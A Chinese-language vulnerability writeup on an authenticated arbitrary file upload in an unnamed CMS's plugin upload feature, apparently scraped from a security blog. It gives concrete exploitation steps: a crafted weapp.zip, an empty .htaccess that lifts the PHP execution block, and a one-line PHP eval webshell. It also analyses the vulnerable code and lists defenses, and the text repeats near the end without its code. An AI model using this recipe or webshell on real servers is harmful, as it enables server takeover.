某cms后台文件上传
字数 1007 2025-08-29 08:31:35

CMS后台文件上传漏洞分析与利用教学文档

漏洞概述

本漏洞存在于某CMS的后台插件上传功能中,通过精心构造的插件压缩包,攻击者可以实现任意文件上传,最终获取服务器权限。该漏洞需要后台管理员权限,但不需要在前台界面中找到对应的功能点,可直接通过URL访问。

漏洞利用步骤

1. 访问插件上传接口

虽然后台界面中没有直接显示插件上传功能,但可以通过直接访问以下控制器路径:

/application/admin/controller/Weapp.php

2. 构造恶意插件压缩包

创建一个名为weapp.zip的压缩包,内部结构如下:

weapp/
├── AAAAAAA/          # 自定义插件目录
│   ├── config.php    # 插件配置文件
│   └── ssss.php      # 恶意PHP文件(webshell)
└── .htaccess         # 空文件,用于覆盖原限制

关键文件说明:

  1. config.php
    必须与/data/weapp/Sample/weapp/Sample/config.php格式保持一致,示例内容:

    <?php
    return array(
        'name' => '测试插件',
        'code' => 'test',
        'version' => '1.0',
        'author' => 'test',
        'description' => '测试插件',
    );
    
  2. .htaccess
    必须为空文件,用于覆盖原有的访问限制文件

  3. ssss.php
    可以是任意PHP webshell,例如:

    <?php @eval($_POST['cmd']); ?>
    

3. 上传插件

通过抓包工具或直接访问上传接口提交构造的zip文件。

4. 访问webshell

上传成功后,文件会被解压到网站根目录的weapp文件夹中,可直接访问:

http://target.com/weapp/AAAAAAA/ssss.php

漏洞原理分析

关键代码流程

  1. 上传验证部分

    $fileExt = 'zip';  // 只允许zip格式
    $savePath = UPLOAD_PATH.'tmp'.DS;  // 临时保存路径
    $file = request()->file('weappfile');  // 获取上传文件
    
  2. 解压处理

    $zip = new \ZipArchive();
    $zip->open($savePath.$fileName);
    $zip->extractTo($savePath.$folderName.DS);
    $zip->close();
    
  3. 目录验证

    $dirList = glob($savePath.$folderName.DS.WEAPP_DIR_NAME.DS.'*');
    // WEAPP_DIR_NAME常量为'weapp',因此压缩包内必须包含weapp目录
    
  4. 配置文件验证

    $configfile = $savePath.$folderName.DS.WEAPP_DIR_NAME.DS.$weappName.'/config.php';
    // 必须存在config.php文件且内容为数组
    
  5. 配置内容验证

    $sampleConfig = include(DATA_NAME.DS.'weapp'.DS.'Sample'.DS.'weapp'.DS.'Sample'.DS.'config.php');
    foreach ($configdata as $key => $val) {
        if ('permission' != $key && !isset($sampleConfig[$key])) {
            // 键名必须与样本配置一致
        }
    }
    
  6. 文件复制

    recurse_copy($savePath.$folderName, rtrim(ROOT_PATH, DS));
    // 将临时文件复制到网站根目录
    

安全限制绕过

  1. .htaccess覆盖

    • weapp目录下有.htaccess限制PHP执行
    • 上传空.htaccess文件覆盖原限制
  2. 目录结构绕过

    • 必须包含weapp目录
    • 可以在weapp目录下创建任意子目录存放恶意文件
  3. 配置验证绕过

    • 配置文件格式必须与样本一致
    • 但只验证键名不验证值,因此可以保持结构不变

防御建议

  1. 权限控制

    • 加强后台权限验证,不仅仅是角色ID为-1
    • 增加CSRF防护
  2. 文件上传限制

    • 限制压缩包内文件类型,禁止上传.php文件
    • 对解压后的文件进行严格白名单验证
  3. 目录权限

    • 设置weapp目录不可写
    • 或对上传目录设置严格的权限
  4. 配置验证

    • 不仅验证键名,还应验证键值的合法性
    • 增加文件内容黑名单检测
  5. 日志监控

    • 记录所有插件上传操作
    • 监控异常文件创建行为

总结

该漏洞利用CMS后台插件上传功能的多处设计缺陷:

  1. 前端隐藏但后端存在的功能接口
  2. 不严格的配置文件验证
  3. 解压后文件的不安全复制操作
  4. 关键目录的权限设置不当

通过精心构造的压缩包,攻击者可绕过所有安全限制实现任意文件上传,最终获取服务器控制权限。

CMS后台文件上传漏洞分析与利用教学文档 漏洞概述 本漏洞存在于某CMS的后台插件上传功能中,通过精心构造的插件压缩包,攻击者可以实现任意文件上传,最终获取服务器权限。该漏洞需要后台管理员权限,但不需要在前台界面中找到对应的功能点,可直接通过URL访问。 漏洞利用步骤 1. 访问插件上传接口 虽然后台界面中没有直接显示插件上传功能,但可以通过直接访问以下控制器路径: 2. 构造恶意插件压缩包 创建一个名为 weapp.zip 的压缩包,内部结构如下: 关键文件说明: config.php 必须与 /data/weapp/Sample/weapp/Sample/config.php 格式保持一致,示例内容: .htaccess 必须为空文件,用于覆盖原有的访问限制文件 ssss.php 可以是任意PHP webshell,例如: 3. 上传插件 通过抓包工具或直接访问上传接口提交构造的zip文件。 4. 访问webshell 上传成功后,文件会被解压到网站根目录的 weapp 文件夹中,可直接访问: 漏洞原理分析 关键代码流程 上传验证部分 : 解压处理 : 目录验证 : 配置文件验证 : 配置内容验证 : 文件复制 : 安全限制绕过 .htaccess覆盖 : 原 weapp 目录下有 .htaccess 限制PHP执行 上传空 .htaccess 文件覆盖原限制 目录结构绕过 : 必须包含 weapp 目录 可以在 weapp 目录下创建任意子目录存放恶意文件 配置验证绕过 : 配置文件格式必须与样本一致 但只验证键名不验证值,因此可以保持结构不变 防御建议 权限控制 : 加强后台权限验证,不仅仅是角色ID为-1 增加CSRF防护 文件上传限制 : 限制压缩包内文件类型,禁止上传.php文件 对解压后的文件进行严格白名单验证 目录权限 : 设置 weapp 目录不可写 或对上传目录设置严格的权限 配置验证 : 不仅验证键名,还应验证键值的合法性 增加文件内容黑名单检测 日志监控 : 记录所有插件上传操作 监控异常文件创建行为 总结 该漏洞利用CMS后台插件上传功能的多处设计缺陷: 前端隐藏但后端存在的功能接口 不严格的配置文件验证 解压后文件的不安全复制操作 关键目录的权限设置不当 通过精心构造的压缩包,攻击者可绕过所有安全限制实现任意文件上传,最终获取服务器控制权限。